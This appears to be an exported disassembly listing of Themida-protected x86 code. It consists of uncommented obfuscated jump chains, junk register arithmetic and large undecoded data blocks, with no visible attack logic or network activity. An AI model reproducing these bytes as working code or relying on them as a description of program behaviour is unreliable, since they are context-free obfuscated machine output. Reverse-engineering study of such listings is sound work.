		dd 5B27DD74h, 0E952E829h, 0FFFFED32h, 513B6568h, 0D7095A14h
		dd 3012E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59777E:				; CODE XREF: Themida_:005A2DC8j
		push	edi
		mov	edi, esp
		jmp	loc_59963B
; ---------------------------------------------------------------------------


loc_597786:				; CODE XREF: Themida_:00598A87j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59C843
; ---------------------------------------------------------------------------
		dd 4BAh, 246C8100h, 0A9138F04h,	24540128h, 24448104h, 0A9138F04h
		dd 34FF5A28h, 24348B24h, 8304C483h, 0BA5204C4h,	4, 0CBE6E9h
		dd 0A9E95C00h, 89FFFFE3h, 3EB9240Ch, 21400407h,	0EC8159C8h
		dd 4, 50243489h, 0B60C3A68h, 0C68958C3h, 8124048Bh, 4C4h
		dd 4A922D00h, 0F0297680h, 804A9205h, 3BE95E76h,	560000A2h
		dd 42474FFh, 24048F5Eh,	1E77E9h, 24048B00h, 3504C483h
		dd 7A485EE7h, 81240C8Bh, 4C4h, 6536800h, 34890000h, 68E68924h
		dd 3563h, 0BD242C89h, 4, 0E95DEE01h, 0FFFFBDF2h
; ---------------------------------------------------------------------------


loc_597844:				; CODE XREF: Themida_:0059AFA6j
		mov	ebx, edi
		pop	edi
		mov	esi, 0C866C400h
		add	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A288A
; ---------------------------------------------------------------------------
		db 89h
		dd 94682424h, 8900001Ah, 0E6E92404h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597873:				; CODE XREF: Themida_:0059E606j
		add	esp, 4
		or	eax, eax
		jnz	loc_5A1D2F
		push	1D40h
		mov	[esp], esi
		mov	esi, 345F298Eh
		not	esi
		sub	esi, 0BB655906h
		jmp	loc_594F79
; ---------------------------------------------------------------------------
		dd 315EF329h, 0FE95BDAh, 66000085h, 6824048Bh, 1222h, 89243489h
		dd 4B850E6h, 1000000h, 24048BC6h, 0DB43E9h
		db 0
; ---------------------------------------------------------------------------


loc_5978C1:				; CODE XREF: Themida_:005A383Cj
		xor	ebx, edx
		not	edx
		xchg	edx, ebx
		xchg	ebx, edi
		push	eax
		push	edi
		pop	eax
		pop	edi
		push	edi
		push	4E39h
		jmp	loc_599120
; ---------------------------------------------------------------------------
		dd 4B9h, 4BEA0500h, 4EE92EE4h, 89FFFFF7h, 405E0h, 0F9E90000h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5978F3:				; CODE XREF: Themida_:0059DA54j
		mov	[esp], ebx
		mov	ebx, 0BFD1DA1h
		or	ebx, 596C65BEh
		shl	ebx, 8
		xor	ebx, 49174CCBh
		xor	ebx, 29D94B4Bh
		jmp	loc_597384
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aLSL		db '‹<$é(‹',0
		align 10h
		dd 503AEF81h, 0EFC14E23h, 0BEF78104h, 0E939A10Dh, 3368h
; ---------------------------------------------------------------------------


loc_597934:				; CODE XREF: Themida_:0059B1F2j
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_598456
; ---------------------------------------------------------------------------
		dw 405h
		dd 2D000000h, 4, 0FFF3FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597965:				; CODE XREF: Themida_:00593C85j
		not	ecx
		xor	ecx, 0F4589234h
		sub	ebx, ecx
		jmp	loc_5A31D1
; ---------------------------------------------------------------------------
		dd 0BB1707B9h, 2BF5762h, 0E91FCE6Ch, 8B50h, 60F268h, 24148900h
		dd 0DEF6ABB6h, 0BD7EE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597996:				; CODE XREF: Themida_:0059FF56j
		push	edx
		mov	edx, 2551692Bh
		or	ebp, edx
		pop	edx
		push	eax
		mov	eax, 3DDB5926h
		add	eax, 6D10455Bh
		jmp	loc_5925A2
; ---------------------------------------------------------------------------
		db 1
		dd 50575AD1h, 0C789C889h, 4815758h, 985D1824h, 8ED0E92Ch
		dd 34FF0000h, 0D676E924h, 0F780FFFFh, 694CE9A5h, 485D0000h
		dd 368A6840h, 0C890000h, 929AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5979E6:				; CODE XREF: Themida_:00598B7Dj
		mov	ebx, 36501FB1h
		jmp	loc_59F3AE
; ---------------------------------------------------------------------------
		dd 7675C381h, 0CB010251h, 0AA66E9h, 4013BE00h, 0BA521D37h
		dd 3B9E4FF4h, 88E9D631h, 0FFFFFFFBh, 34FF2434h,	54505924h
		dd 0C255E9h, 4462BA00h,	0C2312C2Fh, 8124048Bh, 4C4h, 0F2B85000h
		dd 57A88EACh, 99181FBFh, 68B95146h, 1329B08h, 0EE83E9CFh
		dd 55CFFFFh, 4,	4EC81h,	1C890000h, 9B95124h, 81142B2Ch
		dd 0D4D3FBC1h, 59CB89EBh, 1C8BD801h, 4C48124h, 50000000h
		dd 42474FFh, 8324048Bh,	48F04C4h, 0F52FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597A82:				; CODE XREF: Themida_:005A3FC7j
		mov	edi, esp
		jmp	loc_5A00A8
; ---------------------------------------------------------------------------


loc_597A89:				; CODE XREF: Themida_:0059A742j
		mov	[esp], ecx
		mov	ecx, 5CA53F14h
		push	ebx
		mov	ebx, 1A2F0D87h
		and	ebx, 1630E6Eh
		sub	ebx, 13C2788Bh
		jmp	loc_59B70C
; ---------------------------------------------------------------------------


loc_597AA8:				; CODE XREF: Themida_:005A5795j
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 98h
		dd 0C14F6E03h, 0F68106E6h, 4D24D3Ch, 11A6E9h, 0D0F76600h
		dd 0F7669766h, 971CE9D7h, 35680000h, 89000052h,	0EC81240Ch
		dd 4, 68240489h, 6AE430A1h, 46596858h, 0DCE90000h, 0FFFFFFFCh
		dd 565D2434h, 0E952E689h, 4D62h, 0BF575A54h, 6D276879h
		dd 6140F781h, 0BE565B7Fh, 36580935h, 15EF729h, 0D86DE9FAh
		dd 74FF0000h, 8F5F0424h, 248B2404h, 7A1C6824h, 3C890000h
		dd 0B1D4E924h, 0D4BFFFFFh, 897E1818h, 0F3E95FFDh, 5600002Fh
		dd 4BEh, 8BF00100h, 8BE92434h, 0BA000063h, 4, 0ACE9D101h
		dd 0ACFFFFCEh, 0E8E9D830h, 87000047h, 5E9243Ch
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_597B6B:				; CODE XREF: Themida_:0059D60Dj
		xchg	edi, [esp]
		pop	esp
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		xor	dword ptr [esp], 14C94B37h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59F932
; ---------------------------------------------------------------------------
		dw 435Bh
		dd 1AB0F381h, 55683305h, 0E9000048h, 0B85Dh, 45C78147h
		dd 810DD24Bh, 978027F7h, 5FF889A0h, 89636B05h, 3D6A2D64h
		dd 3BE93969h, 0BA0000ADh, 0A53BE5h, 4245401h, 8124148Bh
		dd 4C4h, 24042900h, 0E5242C81h,	5600A53Bh, 65DCE9h, 0A4BD5500h
		dd 8103644Dh, 5F4A67EDh, 1DC9E92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597BF2:				; CODE XREF: Themida_:005A281Dj
		mov	[esp], ebx
		mov	ebx, 5F3538CFh
		xor	ecx, ebx
		pop	ebx
		push	ecx
		xchg	ebp, [esp]
		jmp	loc_59342F
; ---------------------------------------------------------------------------
		dw 930Dh
		dd 55080F00h, 601E956h,	16680000h, 89000024h, 0B850240Ch
		dd 77942825h, 9E27442Dh, 40D8F759h, 0B1CA835h, 6588054Bh
		dd 0C189CFB5h, 0FFCB4AE9h, 0BB5355FFh, 42FD70DAh, 0FD70DABDh
		dd 5BDD3142h, 8904EC83h, 0EC812414h, 4,	91768h,	24248900h
		dd 4240481h, 0E9000000h, 22EAh,	8704C283h, 0E95C2414h
		dd 0FFFFE589h, 0E9241C87h, 54A3h, 1C78366h, 94E95566h
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_597C87:				; CODE XREF: Themida_:00595EDDj
		push	esi
		jmp	loc_595B2C
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0CEh
		dd 81758914h, 0EA9549EBh, 5BDE89A7h, 0A1E9D6F7h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597CA3:				; CODE XREF: Themida_:00591F8Ej
		sub	dword ptr [esp+4], 79E82679h
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 79E82679h
		pop	ecx
		push	dword ptr [esp]
		pop	ecx
		push	esi
		push	esp
		pop	esi
		jmp	loc_5944AB
; ---------------------------------------------------------------------------


loc_597CC4:				; CODE XREF: Themida_:0059BD65j
		mov	ebp, 316013Eh
		shl	ebp, 3
		dec	ebp
		jmp	loc_5A1098
; ---------------------------------------------------------------------------


loc_597CD2:				; CODE XREF: Themida_:00592149j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		db 83h
		dd 0EA8101C2h, 4D71F8A6h, 0E39BE9h
		db 0
; ---------------------------------------------------------------------------


loc_597CF1:				; CODE XREF: Themida_:00599A06j
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		db 83h
		dd 34FF04C4h, 7E10E924h, 8B660000h, 8956240Ch, 0BA57E9E6h
		dd 0C5830000h, 242C8704h, 4C4835Ch, 0E904C283h,	4CD4h
		dd 685FFB01h, 0D2Ch, 0E9242C89h, 269h, 4EC81h, 14890000h
		dd 89DA8924h, 8FE95AD5h
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_597D43:				; CODE XREF: Themida_:00597293j
		pop	esp
		push	ebp
		mov	ebp, 4
		sub	ebx, 222B5FA3h
		sub	ebx, ebp
		add	ebx, 222B5FA3h
		pop	ebp
		push	7EBBh
		mov	[esp], ebx
		jmp	loc_5A3426
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BF243C89h, 0
		dd 0FFE846E9h, 81C301FFh, 9049C2C3h, 4897E912h,	814D0000h
		dd 0A54079CDh, 0B3BF574Ah, 3153E033h, 0E5815FFDh, 53945AEh
		dd 968C581h, 0EB01750Bh, 0FF2434FFh, 815D2434h,	4C4h, 0CFE2E900h
		dd 0DEF7FFFFh, 2D42EE81h, 0C6814347h, 4AA49889h, 815EF101h
		dd 0F95635E9h, 81F90107h, 0F95635C1h, 0CDE98107h, 5F32524Ah
		dd 8B240C87h, 0D3662424h, 0E99C2424h, 0FFFFF31Eh, 42Dh
		dd 24048700h, 242C895Ch, 0E45454BDh, 21BCBF57h,	0EF314EB4h
		dd 0A0AFE9h, 8BCB8000h,	6FE8E9h, 24248900h, 9677E9h, 24248900h
		dd 0FFB778E9h, 6442BAFFh, 814A0985h, 506477C2h,	0DAC28138h
		dd 1FD458Eh, 0DD6FE9D1h, 0EB81FFFFh, 50E367A2h,	15BDF01h
		dd 243C8BF9h, 8304C483h, 0E95102C1h, 5E0Eh, 5024048Fh
		dd 4B8h, 0DE0CE900h, 0C381FFFFh, 244C5F45h, 7129EB81h
		dd 0EB815AA0h, 405546B2h, 0F226E9h
		db 0
; ---------------------------------------------------------------------------


loc_597E79:				; CODE XREF: Themida_:00594E73j
		add	esp, 4
		push	edx
		mov	edx, 227E5EF4h
		and	edx, 783A1356h
		inc	edx
		or	edx, 2619558Dh
		jmp	loc_5951EE
; ---------------------------------------------------------------------------
		db 89h
		dd 0C5815EF5h, 19E70101h, 0E906E5C1h, 38FEh, 66E26843h
		dd 14890000h, 12B9BA24h, 5DE91377h, 8700006Ah, 0E95C2404h
		dd 83A7h, 70B85052h, 0E97B5E17h, 0FFFFFB4Dh, 4C581h, 0ADE90000h
		dd 8900001Fh, 0C2E92414h, 81000092h, 9C05BAF5h,	0E9EE015Fh
		dd 0B88h, 24348B5Dh, 5204C483h,	0FB0D00BAh, 3FF28111h
		dd 834D9010h, 424AFFC2h, 1D3AF281h, 0D6015C6Bh,	2781685Ah
		dd 1C890000h, 0DE95124h, 1000057h, 53685AD6h, 8900004Ch
		dd 0BF57242Ch, 1FB57003h, 0BA52E7D1h, 5F6A7712h, 0F0BB534Ah
		dd 21683800h, 2D66E9DAh, 0D0290000h, 5024148Bh,	405E089h
		dd 83000000h, 48704C0h,	0BE565C24h, 9145B5Ch, 7612CE81h
		dd 814605B0h, 0B16DCFE6h, 0BF574E0Fh, 66A0179Dh, 6368E9h
		db 0
; ---------------------------------------------------------------------------


loc_597F79:				; CODE XREF: Themida_:0059D02Ej
		mov	ebx, 2BB32908h
		or	ebx, 5A5B506Fh
		shl	ebx, 1
		push	70FAh
		mov	[esp], ecx
		jmp	loc_596E72
; ---------------------------------------------------------------------------
aZsp		db 'ZépÊ',0
		dd 2BA5200h, 89000000h,	0EB015AD5h, 0B816E9h, 56505800h
		dd 2635FCBEh, 0C6FAE949h, 0C5800000h, 0E5F7E9E1h, 3487FFFFh
		dd 24248B24h, 50E1F766h, 405E089h, 2D000000h, 4, 0FFCF4DE9h
		dd 0E9C300FFh, 3A1Dh, 0E9241431h, 1A86h, 0B7E9DE00h, 68FFFFB6h
		dd 0F46h, 50241489h, 9F72E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597FFE:				; CODE XREF: Themida_:005A33F8j
		add	edx, 0AA00AAAh
		push	esi
		mov	esi, 5DB3149Ch
		sub	esi, 0FFFFFFFFh
		dec	esi
		push	ecx
		mov	ecx, 23A1A62h
		xor	ecx, 1AAF1850h
		jmp	loc_593E27
; ---------------------------------------------------------------------------
		dw 5153h
		dd 0EB8815B5h, 0DF28E9h
		db 0
; ---------------------------------------------------------------------------


loc_59802D:				; CODE XREF: Themida_:005A5BC6j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ebp, [esp]
		jmp	loc_59E9F8
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 49E94704h, 5E0000C2h, 4C681h, 7EE90000h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598057:				; CODE XREF: Themida_:00596671j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_59AB1F
; ---------------------------------------------------------------------------
		dw 0E94Eh
		dd 0FFFFC286h
; ---------------------------------------------------------------------------


loc_598068:				; CODE XREF: Themida_:005A69A3j
		mov	edx, [esp]
		jmp	loc_59EDC8
; ---------------------------------------------------------------------------
aFpsmg		db 'fPém£',0
		db 0
; ---------------------------------------------------------------------------


loc_598077:				; CODE XREF: Themida_:0059503Fj
		add	al, 0A1h
		jmp	loc_596E43
; ---------------------------------------------------------------------------


loc_59807E:				; CODE XREF: Themida_:0059DB8Dj
		push	13E929EAh
		jmp	loc_5A16AC
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0EF11h, 0FF240C89h, 59042474h, 0E924048Fh
		dd 8FC7h
; ---------------------------------------------------------------------------


loc_5980A0:				; CODE XREF: Themida_:0059D504j
		add	esp, 4
		push	edi
		mov	edi, 6CF84FD5h
		xor	ebx, edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		and	[edi+1Ch], ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_596F12
; ---------------------------------------------------------------------------
		dw 14F7h
aS_9		db '$é»|',0
		align 2
		dw 0D129h
		dd 0E8F8E95Ah, 8141FFFFh, 6D14B1E9h, 59CD2964h,	0D946E95Eh
		dd 59660000h, 285BFD88h, 0ACA3E9F5h, 0F66FFFFh,	686602B6h
		dd 8966746Eh, 61E92404h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59810F:				; CODE XREF: Themida_:0059C433j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	ecx, 7
		push	1FCEh
		mov	[esp], edx
		jmp	loc_59F08B
; ---------------------------------------------------------------------------
		db 66h
		dd 43E9D6F7h, 10000C1h,	5D04246Ch, 0FFF493E9h, 2434FFFFh
		dd 4C4835Fh, 11E9C231h,	81FFFF9Eh, 4610BDF6h, 0C0E68121h
		dd 811F4946h, 0DB3BAEC6h, 5EF101FAh, 2426E9h
		db 0
; ---------------------------------------------------------------------------


loc_598179:				; CODE XREF: Themida_:0059AC1Fj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A0421
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 0A18D205h, 2434FF53h, 4C48359h, 4E9C331h, 330000A2h
		dd 3C31243Ch, 243C3324h, 25AA685Ch, 34890000h, 2474FF24h
		dd 24348B04h, 0D66DE9h,	48B6600h, 4EC8324h, 89243489h
		dd 4C681E6h, 0E9000000h, 54E3h
; ---------------------------------------------------------------------------


loc_5981D4:				; CODE XREF: Themida_:005A2034j
		mov	[esp], ebx
		jmp	loc_5A0136
; ---------------------------------------------------------------------------


loc_5981DC:				; CODE XREF: Themida_:005A48A1j
		pop	ecx
		sub	ecx, 0AD23B19h
		push	625Ch
		mov	[esp], ebp
		push	7976h
		jmp	loc_5A3326
; ---------------------------------------------------------------------------
		db 0ADh, 52h, 50h
		dd 0FFDB19E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5981FD:				; CODE XREF: Themida_:005A1548j
		push	ebp
		mov	ebp, edi
		mov	[edx+30h], ebp
		jmp	loc_5A4FBA
; ---------------------------------------------------------------------------


loc_598208:				; CODE XREF: Themida_:0059970Fj
		add	ecx, 17313765h
		jmp	loc_596485
; ---------------------------------------------------------------------------
		db 0BEh
		dd 5A9E534Fh, 315EF589h, 0C7295DE8h, 34FF5758h,	0E9565B24h
		dd 0FFFFB496h, 4C481h, 89560000h, 8F60E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59823A:				; CODE XREF: Themida_:0059275Fj
		pop	edx
		add	eax, 6C96E76h
		sub	eax, ebx
		push	ebp
		mov	ebp, 6C96E76h
		add	eax, 4A126963h
		sub	eax, ebp
		sub	eax, 4A126963h
		pop	ebp
		pop	ebx
		push	380h
		jmp	loc_596843
; ---------------------------------------------------------------------------
		dd 240C8B66h, 3736E9h
		db 0
; ---------------------------------------------------------------------------


loc_598269:				; CODE XREF: Themida_:005A095Aj
		pop	ebx
		mov	eax, edi
		pop	edi
		add	ebx, 63673DA9h
		push	eax
		push	edi
		mov	edi, 348C64B7h
		mov	eax, 7401B740h
		sub	eax, edi
		pop	edi
		sub	ebx, eax
		pop	eax
		jmp	loc_59323E
; ---------------------------------------------------------------------------


loc_59828A:				; CODE XREF: Themida_:0059E8BAj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5948EB
; ---------------------------------------------------------------------------
		dw 685Ah
		dd 2A12h, 0E9242C89h, 6758h, 565EF001h,	4B951h,	0CE890000h
		dd 7077E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5982BE:				; CODE XREF: Themida_:0059E78Dj
		mov	edi, ebx
		pop	ebx
		add	edi, edx
		jmp	loc_598FC6
; ---------------------------------------------------------------------------


loc_5982C8:				; CODE XREF: Themida_:0059CDBAj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A7110
; ---------------------------------------------------------------------------
aEss		db 'EéS~',0
		db 0
; ---------------------------------------------------------------------------


loc_5982DB:				; CODE XREF: Themida_:0059D7E8j
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A5925
; ---------------------------------------------------------------------------
		db 66h
		dd 5124048Bh, 488968h, 48F5400h, 24048324h, 0BB67E904h
		dd 77FFFFFFh, 58669D1Ch, 9C240410h, 0FF9C63E9h,	685357FFh
		dd 7A750EE0h, 0F381435Bh, 440E4BC9h, 0DDD0E953h, 4B9FFFFh
		dd 0E9000000h, 0D8DAh
; ---------------------------------------------------------------------------


loc_59832C:				; CODE XREF: Themida_:0059B21Bj
		push	ecx
		mov	ecx, esp
		jmp	loc_59E9D9
; ---------------------------------------------------------------------------
		dd 4EC81h, 6E90000h, 5A0000B4h,	5D2434FFh, 4C481h, 0C330000h
		dd 240C3124h, 54F0E9h, 0CBB85000h, 912CEF5Dh, 6891D1F7h
		dd 6161h, 0BB241C89h, 0DE4BFD3Ah, 15BD831h, 0DF2958C7h
		dd 5F0EEF81h, 555B0D5Bh, 2B724BBDh, 0C9BE5668h,	8154BC51h
		dd 2D345DEEh, 0EE814E4Dh, 65810B8Dh, 99C6814Eh,	216DDC13h
		dd 0C5815EF5h, 0D4D43CA2h, 2C8BEF29h, 4C48124h,	31000000h
		dd 243C8BF8h, 8904EC83h, 0E6892434h, 4C681h, 0C6830000h
		dd 24348704h, 66C3315Ch, 6824148Bh, 4E21h, 0E9240489h
		dd 0F20h, 5AD1295Bh, 3A0AE981h,	0E9C1036Dh, 56F18708h
		dd 0F75A5E52h, 0E9D687D2h, 0C7FAh
; ---------------------------------------------------------------------------


loc_5983F8:				; CODE XREF: Themida_:0059CF67j
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59DDA3
; ---------------------------------------------------------------------------


loc_598414:				; CODE XREF: Themida_:00595AADj
		pop	ecx
		jmp	loc_596A54
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 0FCE9EB01h, 2CFFFFBAh, 4EC81C4h, 89000000h, 5351241Ch
		dd 0F988C788h, 0E9241C8Bh, 0A25Bh, 7E08E955h, 0E3890000h
		dd 9EAFE957h, 34FF0000h, 0E5AEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598456:				; CODE XREF: Themida_:00597951j
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 562B18F0h
		push	edi
		mov	edi, 0F6C02B7h
		add	edi, 7FBE68B7h
		dec	edi
		xor	edi, 0D9017399h
		xor	ebx, edi
		jmp	loc_59C419
; ---------------------------------------------------------------------------
aHol		db '^hol',0
		align 2
		dw 0C89h
		dd 0B8505224h, 759E4015h, 0FFAAAAE9h, 5EF201FFh, 8B241487h
		dd 0F8312424h, 5F2434FFh, 5604C483h, 97E9E689h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5984A7:				; CODE XREF: Themida_:005A24E3j
		pop	dword ptr [esp]
		jmp	loc_5A26A7
; ---------------------------------------------------------------------------
		db 89h
		dd 0A9FAE9E2h, 0EB880000h, 0DD88D3F6h, 5B2434FFh, 0DCA6E9h
		dd 56E95200h, 53FFFFF9h, 0DA884CB3h, 0D5DCE95Bh, 2368FFFFh
		dd 89000050h, 4BA2414h,	81000000h, 537358EDh, 0C08BE945h
		dd 904FFFFh, 92CC800h, 4EB168h,	240C8900h, 2D98E9h, 8E5C100h
		dd 1072C581h, 0F58107A9h, 219BD176h, 9A7B262Dh,	5E8015Ch
		dd 5C9A7B26h, 2404875Dh, 2434FF5Ch, 4C48159h, 81000000h
		dd 0F0253AF1h, 2C9E926h, 0C7810000h, 333D01C4h,	325EEF81h
		dd 0EF295B87h, 325EC781h, 0EF815B87h, 333D01C4h, 0C2F4E95Dh
		dd 0F7500000h, 2D582414h, 1A4BF2DFh, 4750C181h,	0C129305Fh
		dd 4750E981h, 48B305Fh,	4C48124h, 57000000h, 2BC7B850h
		dd 54811C8h, 12591398h,	0F94DCB05h, 66360518h, 0D0F724CCh
		dd 0E0E8AA2Dh, 58C78966h, 2D28E9h
		db 0
; ---------------------------------------------------------------------------


loc_59859D:				; CODE XREF: Themida_:00594AD5j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_59975F
; ---------------------------------------------------------------------------
		db 91h
		dd 0FFA896E9h, 30F2B6FFh, 885059CEh, 0E9D0F6F0h, 0FFFFBDB2h
; ---------------------------------------------------------------------------


loc_5985C0:				; CODE XREF: Themida_:005951E9j
		pop	ecx
		add	esi, ecx
		jmp	loc_592C2F
; ---------------------------------------------------------------------------
		dd 8B545259h, 0C4832414h, 4C28104h, 0E9000000h,	0FFFFBB22h
		dd 81242489h, 42404h, 55590000h, 3B778CBDh, 88F5811Ch
		dd 0E91C3B77h, 91E9h, 4C381h, 1C870000h, 6B3CE924h, 0B1510000h
		dd 2D6DE9EEh, 0F2810000h, 633B3B69h, 0FFD2BCE9h, 2434FFFFh
		dd 0FFDC61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598621:				; CODE XREF: Themida_:0059757Fj
		sub	esp, 4
		jmp	loc_596D87
; ---------------------------------------------------------------------------


loc_59862C:				; CODE XREF: Themida_:00599805j
		sub	edx, 49A55859h
		push	ebx
		mov	ebx, 0CA94781h
		xor	ebx, 60621136h
		and	edx, ebx
		pop	ebx
		shl	edx, 8
		shr	edx, 5
		jmp	loc_593034
; ---------------------------------------------------------------------------
		dd 5064B850h, 74E91E81h, 10000E2h, 6442DF8h, 525F28ECh
		dd 3C1DBDBAh, 0B6F2810Ch, 0F7764752h, 0D2F742D2h, 0EA81DAF7h
		dd 8584B0F2h, 335AD001h, 4312404h, 24043324h, 2434FF5Ch
		dd 68240C8Bh, 0A8Eh, 89242C89h,	458968E5h, 4890000h, 16BBE924h
		dd 94680000h, 5F4CE133h, 34FFFE29h, 89525F24h, 4C281E2h
		dd 0E9000000h, 493Ah
; ---------------------------------------------------------------------------


loc_5986BC:				; CODE XREF: Themida_:0059E5B8j
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A15E0
; ---------------------------------------------------------------------------
aSA		db '\é³a',0
		db 0
; ---------------------------------------------------------------------------


loc_5986D3:				; CODE XREF: Themida_:00596A60j
		add	ecx, edx
		add	ecx, 5324122h
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		jmp	loc_593CE1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5A042474h, 0AB8AE9h,	0FFED8000h, 8003E5C0h, 2BE9ACC5h
		dd 830000ACh, 814604C4h, 812779E6h, 0D3F68156h,	5114FA27h
		dd 742EE9h
		db 0
; ---------------------------------------------------------------------------


loc_598721:				; CODE XREF: Themida_:0059F1B3j
		add	edi, 508B6CE8h
		sub	edi, ebx
		sub	edi, 508B6CE8h
		add	edi, 3DD4714Bh
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_591F70
; ---------------------------------------------------------------------------
aRsc		db ']RéCÌ',0
		dd 2434FF00h, 0E924048Bh, 24Fh
; ---------------------------------------------------------------------------


loc_59875C:				; CODE XREF: Themida_:005A41F1j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A07F3
; ---------------------------------------------------------------------------
		db 52h
		dd 53506CB2h, 0D3F640B3h, 0E9B5C380h, 91A3h
; ---------------------------------------------------------------------------


loc_598784:				; CODE XREF: Themida_:0059B1DAj
		sub	dword ptr [esp+4], 33A417DCh
		sub	dword ptr [esp+4], 2CA70103h
		push	eax
		push	55445C32h
		pop	eax
		add	dword ptr [esp+8], 2C572F37h
		jmp	loc_59E577
; ---------------------------------------------------------------------------
aVsb		db 'Vé;',0
		align 2
		dw 0C481h
		dd 4, 62D168h, 24148900h, 0BD2BE9h, 0D1F76600h,	0FFB781E9h
		dd 44E957FFh, 81000065h, 0C2DACCBh, 63346802h, 0A2E90000h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5987DF:				; CODE XREF: Themida_:00598D30j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_59A714
; ---------------------------------------------------------------------------
aYHkHfa		db 'Y-,hª{)ØhfA',0
		align 2
		dw 3DE9h
		dd 6800000Ch, 1807h, 0E9242C89h, 0FFFFA279h
; ---------------------------------------------------------------------------


loc_59880C:				; CODE XREF: Themida_:0059C289j
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 7EB46E74h
		sub	edx, 313F2F53h
		neg	edx
		and	edx, 724D76DFh
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		sub	edx, 0CDF7BF1Ch
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	262Ch
		mov	[esp], edx
		jmp	loc_5A5BB9
; ---------------------------------------------------------------------------
		db 1, 0CDh, 59h
aZP		db '‡,$\',0
		dw 19E9h
		dd 28FFFF97h, 0B6EB80C3h, 0C01BE9h, 4BD00h, 0C3810000h
		dd 12A12330h, 0EB81EB01h, 12A12330h, 83242C8Bh,	1C3304C4h
		dd 241C3124h, 1D37E9h
		db 0
; ---------------------------------------------------------------------------


loc_598885:				; CODE XREF: Themida_:005952EFj
		mov	ecx, 85BC0F1Bh
		jmp	loc_5A4141
; ---------------------------------------------------------------------------
		db 81h
		dd 184835CBh, 2EBC17Bh,	0D2DAEB81h, 8DE9AF4Bh, 81FFFFF4h
		dd 4C7h, 4BD5500h, 1000000h, 0E55DE9EFh, 34FF0000h, 24048B24h
		dd 5704C483h, 243C8B54h, 0FF9F92E9h
		db 0FFh
; ---------------------------------------------------------------------------


